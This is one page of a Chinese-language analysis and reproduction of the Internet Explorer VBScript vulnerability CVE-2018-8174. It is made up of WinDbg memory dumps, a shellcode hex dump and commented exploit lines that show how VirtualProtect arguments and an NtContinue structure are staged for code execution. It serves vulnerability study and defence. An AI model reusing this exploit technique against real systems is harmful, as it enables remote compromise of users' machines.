CVE-2018-8174双杀漏洞分析复现及防御

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
0265002c  fc e8 82 00 00 00 60 89-e5 31 c0 64 8b 50 30 8b  ......`..1.d.P0.
0265003c  52 0c 8b 52 14 8b 72 28-0f b7 4a 26 31 ff ac 3c  R..R..r(..J&1..0265004c  61 7c 02 2c 20 c1 cf 0d-01 c7 e2 f2 52 57 8b 52  a|., .......RW.R
0265005c  10 8b 4a 3c 8b 4c 11 78-e3 48 01 d1 51 8b 59 20  ..J0265006c  01 d3 8b 49 18 e3 3a 49-8b 34 8b 01 d6 31 ff ac  ...I..:I.4...1..
0265007c  c1 cf 0d 01 c7 38 e0 75-f6 03 7d f8 3b 7d 24 75  .....8.u..}.;}$u
0265008c  e4 58 8b 58 24 01 d3 66-8b 0c 4b 8b 58 1c 01 d3  .X.X$..f..K.X...
0265009c  8b 04 8b 01 d0 89 44 24-24 5b 5b 61 59 5a 51 ff  ......D$$[[aYZQ.
//接下来开始为 VirtualProtect 构造参数:
//result=result &EscapeAddress(ShellcodeAddrParam)
0:005> dd poi(esp+c) lc
0055e470  0212004a 024dcc24 02129da8 0055cab0
0055e480  02110008 00000004 0392ca3c 6e5d0001
0055e490  00000000 02108298 0037a1bc 0055f5cc
0055e4a0  024dd0b0 0055e4d0 02650008 024dc9d4
0:005> dd 02129da8 lc
02129da8  02120008 024dcc24 0393da34 0055cab0
02129db8  00000000 00000000 655fbbf0 0c04fced
02129dc8  00000000 00550050 00000000 0055f698
0:005> dd 0393da34 lc         //1--lpAddress:修改的基地址(也是上面字符串的起始地址)0393da34  41414141 41414141 41414141 41414141
0393da44  41414141 41414141 41414141 41414141
0393da54  41414141 41414141 41414141 41414141
  
//result=result &EscapeAddress(&h3000)     '2--dwSize: size
//result=result &EscapeAddress(&h40)     '3--flNewProtect:PAGE_EXECUTE_READWRITE //result=result &EscapeAddress(ShellcodeAddrParam-8) '4--pflOldProtect: 内存原始属性保存地址
//result的值在不停的变化
0:005> dd 0392ca3c +10fdc
0393da18  0265002c 0265002c 00003000 00000040
0393da28  02650024 08060000 00010fe8 41414141
//result=result &String(6,Unescape("%u4242"))        '重复 12个“*”
0:005> dd 0394ea5c   +10fdc
0395fa38  0265002c 0265002c 00003000 00000040
0395fa48  02650024 42424242 42424242 42424242
//result=result &StructWithNtContinueAddr()     ' 3*0x00+4*NtContinue函数地址+0x00
//StructWithNtContinueAddr 函数是将/x00 与NtContinue 函数地址形成了一个拼接,
0:005> dd 0392ca3c +10fdc
0393da18  0265002c 0265002c 00003000 00000040
0393da28  02650024 42424242 42424242 42424242
0393da38  68000000 68776a55 68776a55 68776a55  //NtContinue的函数地址是 776a5568,68位置不太对看起来有点怪异
0393da48  00776a55 41410000 41414141 41414141
0393da58  97174369 0006b5af 002d00c4 003bb6d0
0393da68  41414141 41414141 41414141 41414141
0393da78  41414141 41414141 41414141 41414141
0393da88  41414141 41414141 41414141 41414141
//result=result &String((&h80000-LenB(result))/2,Unescape("%u4141"))  
//把除了当前的result有效的位置外的地方全部写成"A"
//最终的效果是:
0:005> dd 02b70024 +10fdc
02b81000  0265002c 0265002c 00003000 00000040 //依次为 shellcode 地址,VirtualProtect四个参数
02b81010  02650024 42424242 42424242 42424242
02b81020  68000000 68776a55 68776a55 68776a55 //NtContinue 的函数地址
02b81030  00776a55 41414141 41414141 41414141
02b81040  41414141 41414141 41414141 41414141
02b81050  41414141 41414141 41414141 41414141
02b81060  41414141 41414141 41414141 41414141
02b81070  41414141 41414141 41414141 41414141
继续往下走: SetMemValue VirtualProtectCallParameters(ShellcodeAddr)
//SetMemValue函数内的IsEmpty断点:
0:005> dd 0037a1bc
0037a1bc  00000002 00000000 02110008 02105c94
0037a1cc  01dc0024 40000000 0037a1e4 7cd33254 //01dc0024是VirtualProtectCallParameters函数返回的地址
0037a1dc  88006c6c 00000000 00000000 00000000
0037a1ec  00000000 00000000 00000000 00000000
0037a1fc  00000000 7cd3322f 8000e984 77110106
0037a20c  00000000 771246e2 00000017 0037a208
0037a21c  00000000 00000000 00000000 7cd3322a
0037a22c  88005668 00000000 00000000 00350000
//lIlll=GetMemValue()+0x10FDC
0:005> dd 0037a1bc
0037a1bc  02120002 02129db8 02b70003 6e5d1684 //更改类型为Long
0037a1cc  01dc0024 40000000 0037a1e4 7cd33254 //返回01dc0024地址
0037a1dc  88006c6c 00000000 003b2f48 77737560
0037a1ec  00379f90 00000000 00000000 00000000
//lIlll 得到这片特殊环境的首地址 01dd1000
0:005> dd 01dc0024 +10fdc
01dd1000  0265002c 0265002c 00003000 00000040
01dd1010  02650024 42424242 42424242 42424242
01dd1020  68000000 68776a55 68776a55 68776a55
01dd1030  00776a55 41414141 41414141 41414141
执行 SetMemValue ExpandWithVirtualProtect(lIlll):

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一页